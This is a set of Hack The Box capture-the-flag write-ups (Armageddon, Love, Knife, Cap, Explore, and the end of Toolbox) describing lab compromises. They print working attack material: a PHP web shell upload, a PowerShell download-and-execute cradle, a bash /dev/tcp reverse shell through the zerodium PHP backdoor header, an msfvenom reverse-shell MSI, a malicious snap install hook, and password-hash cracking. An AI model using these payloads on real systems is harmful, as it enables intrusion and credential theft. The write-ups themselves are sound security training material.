Toolbox Privilege Escalation

According to the boot2docker github page, you can ssh to the docker host using the username docker and the password tcuser.


With this information, I attempted to ssh to the IP address. However, I received SSH key permission errors on my first attempt. Initially, I had fully upgraded my shell by exporting term to xterm and that caused issues. After reconnecting and spawning a bash shell, I could SSH to the host. Once on the host, I ran sudo -l and learnt that I could switch the user to the root user without a password.

I switched to the root user and started enumerating the system. As it was a Windows system, I checked the contents of the Administrator user’s home directory. As a result, I found the Administrator user’s SSH private key.

I quickly stole the private key and saved it to a file on my attack machine. I gave the key 600 permissions and used it to SSH to the target as the administrator user. From here I was able to steal the root.txt flag.

└─$ vim key                                                                                                                                                         
└─$ chmod 600 key                                                                                                                                                  
└─$ ssh -i key [email protected]
administrator@TOOLBOX C:\Users\Administrator\Desktop>type root.txt 

Toolbox Learnings

The Toolbox box was a lot of fun. Admittedly, I was disappointed that it was more Linux than Windows. However, that feeling passed once I completed the box. I learnt something new from the foothold but did fall down some rabbit holes on the way. Once on the box, I struggled with my shell not allowing me to SSH to the next host. This is something I need to investigate further as I don’t understand what was wrong.

The privilege escalation taught me about the particular quirks of the service in use. Once I knew what needed to be done, the rest was easy. This box taught me a few new things but also made me aware that my skills are improving. I was able to quickly identify that something suspicious was going on. Anyway, this box was a blast. Thanks for the box.

Hack The Box Armageddon Writeup

Armageddon is an easy Linux box created by bertolis on Hack The Box and was released on the 27th of March 2021. Hello world, welcome to Haxez where today I will explain how I hacked Armageddon. The skills required to complete this box are Basic Linux Knowledge. The skills learnt from completing this box are Drupal exploitation and Snap package manager exploitation.

Armageddon Enumeration

I connected to the Hack The Box VPN and clicked the button to spawn the box. To ensure I could talk to the box, I sent a single ping request and the box kindly responded. Next, I ran a Nmap scan that targeted all ports, enumerated service versions, ran default scripts and saved all output types. As a result, I learnt that ports 22 for SSH and 80 for HTTP were open. Furthermore, I learnt that the webserver was running Apache 2.4.6 and that the application used the Drupal Content Management System.

└─$ sudo nmap -sC -sV -p- --min-rate 10000 -oA Armageddon
Armageddon Enumeration

Web Application Enumeration

The Nmap scan identified a number of files that contained useful information. For example, the CHANGELOG.txt file disclosed the version history of Drupal 7. The changelog showed that the last update was 7.5.6, As a result, I was able to search for vulnerabilities affecting that particular version of Drupal.

Drupal Changelog version disclosure

I used searchsploit to search for vulnerabilities that affected Drupal version 7.56. The results indicated that there were several authenticated and unauthenticated remote code execution vulnerabilities. Furthermore, a number of these vulnerabilities had Metasploit modules.

└─$ sudo searchsploit Drupal 7.56 
Armageddon Searchsploit

Armageddon Foothold With Drupalgeddon

First, I launched Metasploit with the msfconsole command. Next, I searched for drupalgeddon2 which produced 1 result. I selected the module by using the use command followed by the module number displayed in the search results. After that, I configured the module by setting the RHOSTS parameter to the IP address of the target. Finally, I set the LHOST parameter to tun0 (my VPN interface) and then ran the exploit. After a brief period, I received a meterpreter session.

Armageddon Foothold With Drupalgeddon

Time to start pillaging. Now that I had a shell on the box, I started looking for useful information. I knew that Drupal was a database-powered website so started looking for the database configuration file. After a quick Google search, I learnt that Drupal stores the database connection details in a file called settings.php in the sites/default directory. I viewed the contents of the file and stole the credentials.

Unfortunately, the shell didn’t play well when logging into the database. When running queries, the results weren’t returned to the terminal. I’m not entirely sure what the problem was but it meant I had to change my approach. I used the following commands to retrieve the users from the user’s table.

mysql -u 'drupaluser' --password='CQHEy@9M*m23gBVj' -e 'show databases'
mysql -u 'drupaluser' --password='CQHEy@9M*m23gBVj' -D drupal -e 'show tables'
mysql -u 'drupaluser' --password='CQHEy@9M*m23gBVj' -D drupal -e 'describe users'
mysql -u 'drupaluser' --password='CQHEy@9M*m23gBVj' -D drupal -e 'select uid,name,pass,login from users'

uid     name    pass    login
0                       0
1       brucetherealadmin       $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt 1607076276

Lateral Movement

I saved the password hash to a file and searched on the hashcat example hashes web page for the type of hash. As a result, I learnt that hashes that start with ‘$S$’ appear to be specific to Drupal 7. The hashcat cracking mode for these hashes is 7900. I used hashcat to crack the hash which revealed that the password was booboo.

└─$ sudo hashcat -m 7900 hash.txt /usr/share/wordlists/rockyou.txt 
Hashcat cracking passowrd

I then used the password to log in via SSH as the brucetherealadmin user. From here I was able to capture the user.txt password.

└─$ ssh [email protected]
The authenticity of host ' (' can't be established.
ED25519 key fingerprint is SHA256:rMsnEyZLB6x3S3t/2SFrEG1MnMxicQ0sVs9pFhjchIQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ED25519) to the list of known hosts.
[email protected]'s password: 
Last login: Tue Mar 23 12:40:36 2021 from
[brucetherealadmin@armageddon ~]$ cat user.txt

Armageddon Host Enumeration

With the user flag captured, I started enumerating the system. I tend to run some commands before resulting to LinPEASS. First, I tend to check to see if the user can run anything with sudo privileges. From running sudo -l, I learnt that the user could install snap packages.

[brucetherealadmin@armageddon ~]$ sudo -l
Armageddon sudo -l

Next, I headed to GTFO Bins to see if there were any techniques that would allow me to exploit this privilege. As a result, I learnt that having the ability to run snap as sudo could allow privilege escalation. Since it snap doesn’t drop the elevated privileges it could be used to access the rest of the file system with those privileges.


I followed the example on GTFO bins but ran into a problem. When trying to execute the line starting with fpm, the system reported that the fpm command wasn’t found.

fpm fail

However, this reminded me of LXC and Docker container escapes. Perhaps if I created the snap locally and then uploaded it to the server, I could use the install command to install it. First I needed to install snap locally. I tried to run it and Kali was kind enough to tell me it could install it.

└─$ snap                                                                 
Command 'snap' not found, but can be installed with:
sudo apt install snapd
Do you want to install it? (N/y)y

I then installed FPM with gem as follows.

└─$ sudo gem install --no-document fpm

Armageddon Privilege Escalation

The next step was to create the snap and download it onto the target box and install it. However, I ran into problems so I watched IppSec’s video >>HERE<< to guide me through it. First, on the target box, I copied /usr/bin/bash to /home/brucetherealadmin/bash.

[brucetherealadmin@armageddon ~]$ cp /usr/bin/bash ~/bash

Next, I modified the payload as shown below and executed it on my local system.

COMMAND="chown root:root /home/brucetherealadmin/bash; chmod 4755 /home/brucetherealadmin/bash"
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n xxxx -s dir -t snap -a all meta

Then, I span up a Python webserver.

└─$ sudo python3 -m http.server 80 

Finally, I downloaded the snap using cURL and installed it.

[brucetherealadmin@armageddon tmp.daj9QvnIzU]$ curl -o bash.snap

[brucetherealadmin@armageddon ~]$ sudo snap install bash.snap --dangerous --devmode

As you can see from the screenshot below, the snap was installed successfully. However, more importantly, it ran the command to change the ownership and permissions of the bash file. The file was now owned by root and had setuid set.

I could now run the bash binary and capture the root flag.

[brucetherealadmin@armageddon ~]$ ./bash -p
bash-4.2# cat /root/root.txt

Armageddon Learnings

I enjoyed this box but thought it was tricky once I had established a foothold. The method of gaining a foothold was simple. It helped me reinforce some Drupal knowledge and I learnt about the specific exploit. Once I was on the box I ran into problems. However, I learnt some valuable lessons about ways to interact with MySQL.

In theory, the privilege escalation should have been simple but I struggled. I haven’t done much with Snap so my brain automatically thought that it was harder than it was. Now that I’ve completed it, it seems easy. Anyway, another one bites the dust. Thanks for the box.

Hack The Box Love Writeup

Love is an easy Windows box created by pwnmeow on Hack The Box and was released on the 1st of May 2021. Hello world, welcome to Haxez where today I will explain how I hacked Love. To hack this box is it recommended that you have Windows enumeration and web enumeration skills. From hacking this box, you will learn exploit modification, server-side request forgery, applocker policies, and always install everything misconfiguration.

Love Enumeration

After spawning the box, I sent a single ping request to ensure it was online. I then followed up with a Nmap scan targeting all ports, requesting service versions, and running default scripts. Finally, I gave it a minimum packet rate of 10000 and said to output all formats. From the results, I learnt that there were several ports open. This included various ports for HTTP, 445 for SMB, 3306 for MySQL, 5985 and 5986 for HTTPAPI or WinRM, the list goes on.

└─$ sudo nmap -sC -sV -p- --min-rate 10000 -oA love
Enumerating Love

As SMB was listening, the first thing I did was run crackmapexec to enumerate shares and host information. From the results, I learnt that it was a Windows 10 Pro box with the hostname LOVE. The domain was also called Love which suggests the box is not a domain controller (as they have the same name). Furthermore, SMBv1 was enabled.

└─$ crackmapexec smb 

Love Web Application Enumeration

After poking SMB, I went to take a look at the web application. First, I visited the application in my browser and saw that it was a type of voting application. Next, I appended various extensions to the end of the index page. As a result, I learnt that the application was written in PHP.

Love PHP Application

Following that, I ran whatweb against the application and learnt that the PHP version was 7.3.27. Furthermore, I also learnt that the Apache version was 2.4.46 and that the application was using the Bootstrap framework.

└─$ sudo whatweb -a3 -v 

I also ran a gobuster scan to try to identify any directories or files that would disclose sensitive information about the application. However, other than some 301 and 302 redirections and a bunch of 403 errors, I didn’t find much.

└─$ gobuster dir -u -w /media/sf_OneDrive/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -x php,txt,bak -o
Love Gobuster

More Love Application Enumeration

I decided to look at the other HTTP ports that were discovered during the Nmap scan. Therefore, I punched the IP address of the box into my browser and specified port 5000. Immediately, I received a Forbidden error. I shouldn’t have been surprised by this as Nmap displayed the forbidden error in the results.

Forbidden error.

Subdomains and Virtual Hosts

I revisited the results of the Nmap scan to choose which service to poke at next. It was then that I noticed the common name of the SSL certificate on port 443. Below, you can see the output from the Nmap scan showing the subdomain of

Love SSL Common Name

Immediately, I excitedly added the IP address and new subdomain to my host file. Surely this was the foothold that I’d been looking for. Finally, I found a weakness in this box’s armour! I entered the domain into my browser and…. Forbidden. Wow, talk about rejection.

└─$ echo '' | sudo tee -a /etc/hosts
403 Forbidden

However, visiting the subdomain via HTTP instead of HTTPS loaded a page. I poked around the application for a bit and noticed a demo page. In short, the demo page is a free file scanner that allows the user to submit a URL with a file for scanning.

Love Staging.Love.HTB.

Server-Side Request Forgery

I wanted to see if the demo page worked so I set up a netcat listener on my local machine. Next, I input the location of a file into the Scan File input box and sent the request. Sure enough, the application pulled the file down from my host and displayed the contents. Admittedly, my first thought was to try and get it to execute a payload by downloading it from my host. However, those attempts failed.

Love Scan File Functionality.

There is a Web Application vulnerability known as Server Side Request Forgery. In short, SSRF exploits the box’s own trust. Because the resource request is sent from the box itself, it may allow access to otherwise forbidden files. To illustrate, I input the loopback address of followed by port 5000 into the URL box. This was the page I was previously unable to access. Upon sending the request, I received credentials.

Server Side Request Forgery

Voting System Admin

With the username and password successfully stolen via SSRF, I headed back to the voting system by navigating to the IP address. Next, I supplied the stolen credentials and… they didn’t work. This is another one of those easy boxes which seems more difficult than it is because it takes so long.

Login incorrect

Fortunately, I ran a gobuster earlier and remember seeing a 301 redirection from /admin to /admin/. This is where gobuster attempted to load a file called admin but was redirected to a directory called admin, likely containing a PHP file. Therefore, I headed to the admin directory and was able to log in with the credentials.

Voting System Backend


I noticed the Copyright disclaimer at the bottom of the page and decided to perform a Google search for the name SourceCodeStar. After a few Google searches, I stumbled upon several Exploit Database pages which suggested there was an authenticated remote code execution. Unfortunately, there didn’t appear to be a CVE number associated with it.

Exploit Database

Admittedly, I wanted some guidance on this step so I am going to copy what IppSec did >>HERE<<. First, I navigated to the Voters menu option and clicked the New button. This spawned the window you see below. I populated the window with some test data and selected a jpeg file for the photo.

Creating A Voter

Next, I turned intercept on and clicked the save button. Burp successfully intercepted the request which I then modified. I changed the filename to “haxez.php” and then removed the jpeg data and replaced it with a PHP web shell.

Content-Disposition: form-data; name="photo"; filename="haxez.php"
Content-Type: image/jpeg
<?php system($_REQUEST["cmd"]); ?>
Burp Intercepted Request

Then, I navigated to the payload in my browser and passed the dir command to the cmd parameter. It successfully listed out the contents of the directory.

Web Shell directory listing

Love Foothold

Now that I had command execution, it was time to get on the box using a reverse shell. I downloaded nishang from >>HERE<< and copied the Invoke-PowerShellTcpOneLine.ps1 payload to my current working directory. Next, I opened the payload with VIM and changed the IP address and port to my tun0 IP address and port 9001.

Nishang payload

Then, I sent my original directory listing request to Burp repeater and changed the request method to a POST. Next, I started a netcat listener and then added the following Payload to Burp and sent the request. I instantly received a 404 error. There must be a clean-up script on the box that is removing the payloads.

cmd=powershell "IEX(New-Object Net.WebClient).downloadString('')"

I quickly repeated the process by uploading a new command shell and executing the above payload. Finally, I got a reverse shell and had a foothold on the box. From here, I was able to grab the user flag from the phoebe users desktop directory.

└─$ sudo nc -lvnp 9001                                             
[sudo] password for kali: 
listening on [any] 9001 ...
connect to [] from (UNKNOWN) [] 59730
PS C:\xampp\htdocs\omrs\images> whoami
PS C:\xampp\htdocs\omrs\images> type C:\Users\phoebe\Desktop\user.txt

Love Privilege Escalation

After capturing the user flag, I download the latest version of the 64 bit obfuscated WinPEASS binary. Next, I spawn a Python3 web server and used cURL to download the binary to the target machine. Finally, I ran the executable and saw that the AlwaysInstallElevated value was set to 1 which I presume means it was enabled. Quoting directly from the HackTricks article “If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.”. Is this a useful setting to have as a sysadmin? it seems a bit odd.


With this knowledge, I went back to my Linux terminal and used msfvenom to create an MSI payload. The output below will create a Windows x64 reverse shell that connects back to my local host on port 9002. The file type is specified as an MSI file and I saved the output to payload.msi.

└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=9002 -f msi > payload.msi
Love msfvenom payload

I set up a netcat listener to listen on port 9002 and then used cURL to download the payload from the Python web server I still had running. I specified the -o flag to save the payload as payload.msi.

PS C:\users\public\documents> curl -o payload.msi
PS C:\users\public\documents> .\payload.msi 

Finally, I ran the payload and thankfully, I received a connection back to the netcat listener. I now had a reverse shell as the nt authority\system user and could finally capture the root flag.

└─$ sudo nc -lvnp 9002                                           
[sudo] password for kali: 
listening on [any] 9002 ...
connect to [] from (UNKNOWN) [] 59734
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>type \users\administrator\desktop\root.txt
type \users\administrator\desktop\root.txt

Love Learnings

Love requires patience… the initial enumeration stage of this box took longer than I had hoped. It felt like I was jumping through hoops but it taught me valuable lessons about enumeration. It’s one of those boxes that seemed difficult due to the level of enumeration required to get a foothold, but the actual exploit is easy. Furthermore, it does a great job of demonstrating Server Side Request Forgery which I hadn’t really done before.

The privilege escalation was a lot of fun and fairly simple to pull off. I didn’t know about this method of privilege escalation until today so I’ve learnt that too. Overall it’s a fun box but it definitely tested my patience at times. My initial PHP shell just up and vanished so I had to upload that again before getting my reverse shell. For me, it was educational and taught me new techniques which is what I want from an easy box. Thanks for the box.

Hack The Box Knife Writeup

Knife is an easy Linux box created by MrKN16H7 on Hack The Box and was released on the 22nd of May 2021. Hello world, welcome to Haxez where today I will explain how I hacked Knife. The suggested required knowledge to complete this box is enumeration, basic Knowledge of Linux and OWASP Top 10. The skills learned are web exploitation and knife sudo exploitation.

Knife Enumeration

First, I sent a ping request to the box to ensure it was online and that I could talk to it. Next, I performed a Nmap scan against all ports, running default scripts and requesting service versions. I set the minimum packet rate to 10000 and saved all outputs to a file named knife. As a result, I learnt that ports 22 for SSH and port 80 for HTTP were open. The SSH banner suggested the box had an Ubuntu operating system. The results from port 80 informed me that it was running Apache 2.4.41 and that the web application had the title Emergent Medial Idea.

└─$ sudo nmap -sC -sV -p- --min-rate 10000 -oA knife
Knife Nmap Results

Web Application Enumeration

When performing Web Application penetration tests, there are two tools that I always run. First, I like to run whatweb to identify the technologies in use. I’m not sure how whatweb gathers its information but the results suggest it sends a request to the server and then checks the headers. From the results, I learnt that the Web Application was utilising PHP 8.1.0-dev. Not much else was reported back that Nmap hadn’t already discovered.

└─$ sudo whatweb -a3 -v 
Knife Whatweb

Next, I like to run Nikto which is a web application vulnerability scanner. An initial scan with Nikto also identified the PHP version as 8.1.0-dev and reported that several security-related HTTP headers were missing but not much else.

Knife Nikto Resulsts

Despite several tools not identifying a vulnerability, I started to suspect where one might be. However, I continued enumerating by visiting the web application and poking around. There wasn’t much to the application and the links didn’t appear to work.

Knife Web Application

PHP Backdoor Remote Code Execution

The PHP version had dev in the name which instantly made me suspicious. Consequently, I performed a Google search for the version and the top result was a GitHub repository for a backdoor RCE vulnerability. I wonder whether Nmap scripts or Burp Professional would have reported this as a finding. I might check that later.

Google search for PHP version

Next, I navigated to the Exploit Database entry for this finding to view the code. As a result, I learnt that the backdoor checks to see if the User-Agentt header is present (notice the two tt’s) and whether that header has the value zerodium. If both those conditions are true then whatever comes directly after zerodium gets executed by eval.

Exploit Database PHP exploit

For example, if I used the system function to execute the external ping command then I could use tcpdump and check if it pings my host. As you can see below, this is exactly what I did. I set tcpdump to listen on tun0 for ICMP packets. Next, I added the malicious header and my command to ping my host. Sure enough, the target sent 4 ICMP packets to my host.

└─$ sudo tcpdump -i tun0 icmp
User-Agentt: zerodium system("ping -c 4");

Knife Foothold

With remote code execution confirmed, I used it to gain a reverse shell on the host. First, I set up a netcat listener on port 1337. Next, I modified the ping command to a bash reverse shell. Finally, I sent the request and the application hung (good sign). I checked my netcat listener and I received a connection from the target host.

└─$ sudo nc -lvnp 1337
User-Agentt: zerodium system("bash -c 'bash -i >& /dev/tcp/ 0>&1'");
Knife Reverse Shell

I now had access to the box as the james user and was able to capture the user.txt flag.

└─$ sudo nc -lvnp 1337                                          
listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 44714
james@knife:~$ cat user.txt
cat user.txt

Knife Privilege Escalation

First, I used the private key in james’s .ssh directory to SSH back to the box. This achieved two things, the first being a more stable shell, and the second was persistence. Next, I ran sudo -l to see if james could execute any commands as root. As a result, I learnt that james could run knife as sudo.

james@knife:~$ sudo -l
sudo -l

Knife is a command-line tool that provides an interface between a local chef-repo and the Chef Infra Server. It helps users manage nodes, cookbooks and recipes, roles, environments, and data bags. Knife includes a collection of built-in subcommands that work together to provide the functionality required to take specific actions against any object in an organization. These subcommands allow knife to issue commands that interact with any object stored in the chef-repo or stored on the Chef Infra Server. Searching GTFO-Bins for knife, I learnt that knife can execute commands such as spawning a shell. Since I can run it as root, I should be able to give myself a root shell and capture the root.txt flag.

I copied the command and ran it. Sure enough, I was root and could capture the root flag.

james@knife:~$ sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife
james@knife:~$ sudo knife exec -E 'exec "/bin/sh"'
# whoami
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt

Knife Learnings

This was a fun box which taught me about the PHP backdoor vulnerability. I believe I had read about it a while ago but didn’t immediately associate the version with the vulnerability. I enjoyed learning about why it is vulnerable and how to exploit it. It helped to build up my knowledge of dangerous functions in PHP.

The privilege escalation was nice and simple and didn’t require much effort. I do enjoy a challenge but sometimes is nice to have an easy win. I learnt a bit about Knife and Chef which was good. There isn’t much more to say about the box honestly. It would be great for beginners and I had a lot of fun popping it. Thanks for the box.

Hack The Box Cap Writeup

Cap is an easy Linux machine created by InfoSecJack on Hack The Box and was released on 05 Jun 2021. Ahoy mateys! Welcome to Haxez where today I will commit mutiny by pillaging and plundering the Cap. This box requires web enumeration and packet capture analysis skills and will teach IDOR and exploiting Linux capabilities. Let’s set sail!

Cap Host Enumeration

Initially, I pinged the box to ensure that it was online. Once I had confirmed I could communicate with it, I started a Nmap scan. I scanned all ports requesting service versions and running default scripts. From the results, I learnt that ports 21 for FTP, 22 for SSH and 80 for HTTP were open. The FTP banner informed me that it was VSFTP version 3.0.3 so no smiley face vulnerability. The SSH banner revealed the server to Ubuntu. Lastly, the HTTP results reported that it was a Gunicorn web server which admittedly I didn’t know existed. However, performing a quick search reveals that it’s a Python webserver.

└─$ sudo nmap -sC -sV -p- --min-rate 10000 -oA cap
Cap Nmap

Nmap should have identified if anonymous logins were allowed but I tried anyway. However, as you can see below, 503 login is incorrect. I will need some credentials before I’m able to access it.

└─$ ftp 
Cap FTP Login

Cap Web Application Enumeration

With FTP and SSH unlikely to be my foothold, I navigate to the web application. I’m not quite sure how to describe this application. It shows the IP configuration and Network status of the logged-in user. Furthermore, it has what appears to be a packet analysis page with the option to download a PCAP.

Cap Web Application

Because FTP is a cleartext protocol, the PCAP could be useful. For example, If I were to run Wireshark on tun0 and then log in to the FTP service. The credentials I logged in with would be transmitted to the server in plaintext. Additionally, if someone were on the same network as me, they could intercept my traffic and steal my username and password.

Packet Analysis

Initially, I downloaded the available packet capture but after looking through it there wasn’t anything interesting. However, the URL was specifying the packet capture file number to download. For instance, if changed the number after the /data/ endpoint to 0, it would let me download the packet capture file named 0. This type of vulnerability is known as an IDOR or indirect object reference vulnerability. It’s where someone can access parts of the application that there not supposed to.

IDOR vulnerability

Since the admin is usually the first user on the box, I changed the value to 0 and download the file. Next, I opened it with Wireshark and the Nathans FTP credentials were there waiting to be plundered. I could have filtered the packets by FTP if it was a larger packet capture, however, the credentials were the first thing I noticed.

FTP Packet Capture

Cap Foothold

Initially, I thought to try and access the FTP but then a radical thought popped into my head, go hard or go home! Let’s go for the (insert sports metaphor). I tried to log in to SSH with the credentials and…. I’m in! Credential reuse is common even among IT professionals. This allowed me to capture the user.txt flag and establish a foothold on the box.

└─$ ssh [email protected]                                       
The authenticity of host ' (' can't be established.
Last login: Thu May 27 11:21:27 2021 from
nathan@cap:~$ cat user.txt

Authenticated Host Enumeration

First, I downloaded the latest copy of LinPEAS. Next, I span up a Python3 web server in the same directory as LinPEAS. I then used wget on the target box to download LinPEAS from my Python3 web server. Finally, I gave it executable permissions and ran it. As a result, I learnt that Python has the ability to setuid. If Python is owned by root then I should be able to use Python to set my user id to 0 thus giving me root.

Attack Box

Downloading LinPEAS and spawning webserver.

└─$ wget

└─$ python3 -m http.server 80
Serving HTTP on port 80 ( ...

Target Box

Downloading, changing permissions and executing LinPEAS

nathan@cap:~$ wget
nathan@cap:~$ chmod +x
nathan@cap:~$ ./

Cap Privilege Escalation

First things first, I checked to see if Python was owned by root and sure enough it was.

nathan@cap:~$ ls -laSH /usr/bin/python3.8                                                                                                                    
-rwxr-xr-x 1 root root 5486384 Jan 27  2021 /usr/bin/python3.8

Next, I started Python imported the os module and used it to set my ID to 0.

Python 3.8.5 (default, Jan 27 2021, 15:41:15) 
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)

Then I checked to see that it had set me to root by running whoami and id.

>>> os.system('whoami')

>>> os.system('id')
uid=0(root) gid=1001(nathan) groups=1001(nathan)

Finally, I spawned a shell and used it to capture the root.txt. flag.

>>> os.system('sh')
# cat /root/root.txt

Cap Learnings

Cap was a great easy box which I believe I could have solved without a walkthrough. However, I do like reading through walkthroughs and watching IppSec’s video while solving boxes. There is always something new to learn from them. The initial foothold was fun and perfectly demonstrated the dangers of using plaintext FTP. I’m finding it difficult to put into words but it’s also a good example of why it’s important to look at the as a whole. Using one service to disclose information about another service, to then use that information to gain access to the host via another service. A lot of fun.

The privilege escalation was good and in my opinion, is how all easy boxes should be. I discovered it with LinPEAS and immediately had an idea of what I needed to do. Admittedly, I was going to write a script instead of just using Python directly because small brain! Despite not learning a great deal from this box, it did reinforce existing knowledge which I appreciate. Doing something once isn’t enough to be proficient at it so I’m always happy to practise existing skills. I thought this was a really fun box from InfoSecJack but this is the day you will always remember as the day you almost outsmarted Captain Haxez Sparrow.. or something. Thank you and farewell mateys!

Hack The Box Explore Writeup

Explore is an easy Android box created by bertolis on Hack The Box and was released on 25th October 2021. Hello world, welcome to Haxez where today I will be explaining how to root the Android box named explore. This box suggests having basic network and Android enumeration skills and basic Metasploit usage skills. Through rooting this box you will learn basic Android exploitation skills.

Explore Enumeration

After spawning the box, I sent a ping request to ensure that it was online and that I could reach it. Once the box responded, I kicked off a Nmap scan targeting all ports, requesting service versions and running default scripts. As a result, I learnt that ports 2222 for SSH, 40443 for HTTP and 59777 for HTTP were open. Furthermore, port 5555 was showing as filtered but I had absolutely no idea what that was. Interestingly, the banner detection for port 59777 suggested that the service was Bukkit JSONAPI httpd for Minecraft game server. The SSH banner was also showing as Banna Studio.

└─$ sudo nmap -sC -sV -p- --min-rate 10000 -oA explore
Explore Enumeration

Performing a search for SSH Banana Studio revealed that this was an android box as the results were for Android Apps. Next, I performed a search for “Android port 40443” but didn’t discover much. Finally, I performed a search for “Android port 59777” and the results suggested that the port belonged to a file manager app. Furthermore, the second result was for a CVE on NIST.

Search Results

Visiting the CVE result on NIST reports the following. The ES File Explorer File Manager application through for Android allows remote attackers to read arbitrary files or execute applications via TCP port 59777 requests on the local Wi-Fi network. This TCP port remains open after the ES application has been launched once, and responds to unauthenticated application/json data over HTTP.

Exploiting ES File Explorer

I loaded up Metasploit and searched for ES File Explorer and the first result or result 0 was an auxiliary scanner module named es_file_explorer_open_port. I told Metasploit to use this module and then ran the info command which reported back the following. This module connects to ES File Explorer’s HTTP server to run certain commands. The HTTP server is started on app launch and is available as long as the app is open. Version and below are reported vulnerable This module has been tested against

I configured the remote host and left the default port and default auxiliary action configured. Running the exploit reported back that the name of the device was VMware Virtual Platform. It seemed like the exploit was working. The module has a bunch of options which you can see below.


After going through several different options such as listing files, I decided to look at the pictures. I set the action to LISTPICS and ran the exploit. The results showed that there was a suspiciously named file called creds.jpg. For that reason, I changed the auxiliary action to GETFILE and change the ACTIONITEM to the path and name of the image and then ran the exploit.

msf6 auxiliary(scanner/http/es_file_explorer_open_port) > set ACTION GETFILE
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > set ACTIONITEM /storage/emulated/0/DCIM/creds.jpg
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > exploit

Explore Foothold

After downloading the file, I opened it and saw a set of credentials. The credentials appeared to belong to someone called Kristi and their password was, well see for yourself. I made a note of these and tried to SSH to the host with the credentials. Unfortunately, I ran into an error along the way.


As you can see below, I received the error “no matching host key type found”. After a quick search, I found an Ubuntu forum threat >>HERE<< which solved the problem. I probably should have known this as it was something that came up in an exam recently.

└─$ ssh -p 2222 [email protected] -o PreferredAuthentications=password
Unable to negotiate with port 2222: no matching host key type found. Their offer: ssh-rsa

Anyway, appending the Host Key Algorithms argument to my SSH command allowed me to authenticate to the host (after a few incorrect password attempts). Once on the box, I couldn’t find the user.txt file so I started enumerating. I used socket stats to check the listening services and found the 5555 port again. After another search, I learnt that this port is for Android Debug Bridge which I know from my attempts to root Android devices.

socket stats

Explore Privilege Escalation

The Android Debug Bridge should allow me high-privilege access to the device if I can access the service. Therefore, I set up a local port forward through SSH. I had a bit of trouble getting this to work correctly but mostly due to my syntax being incorrect.

└─$ ssh -L 5555:localhost:5555 [email protected] -p 2222 -o HostKeyAlgorithms=+ssh-rsa
Password authentication
([email protected]) Password: 
:/ $ 

Next, I had issues connecting to the correct device. I was able to connect to adb ok but when trying to get a shell, I received an error message advising that there was more than one device. I have an emulator set up for another box I’m working on. Anyway, this was another syntax issue which was resolved after a quick search.

└─$ adb -s shell
ADB Shell

Now that I could successfully connect to the device, it was time to disconnect and reconnect as root. Running adb root will restart adb and give me root permissions on the device. Once on the device as root, I was able to capture both the user and root flags.

└─$ adb -s root 
restarting adbd as root
└─$ adb -s shell
x86_64:/ # whoami                                                                                                                                           
x86_64:/ # cat /storage/emulated/0/user.txt
x86_64:/ # cat /data/root.txt
x86_64:/ # 

Explore Learnings

This was a nice easy box for first thing on a Monday morning. I ran into a few issues while solving it but nothing too difficult. The initial information-gathering phase was typical as I tend to perform a TCP scan on all ports regardless. The services would have thrown me off a bit had I not known this was an Android device going into it. I liked the initial “exploit” to get files as I remember having that application installed on one of my phones in the past.

The privilege escalation was fun as I got to practise local port forwarding but with a few complications. That took me a few attempts to get the syntax correct due to the host key algorithms. I also learnt how to use ADB from the Linux terminal which I hadn’t done before and how to get root through it. Overall, this was a nice box which taught me a few things about android. Thanks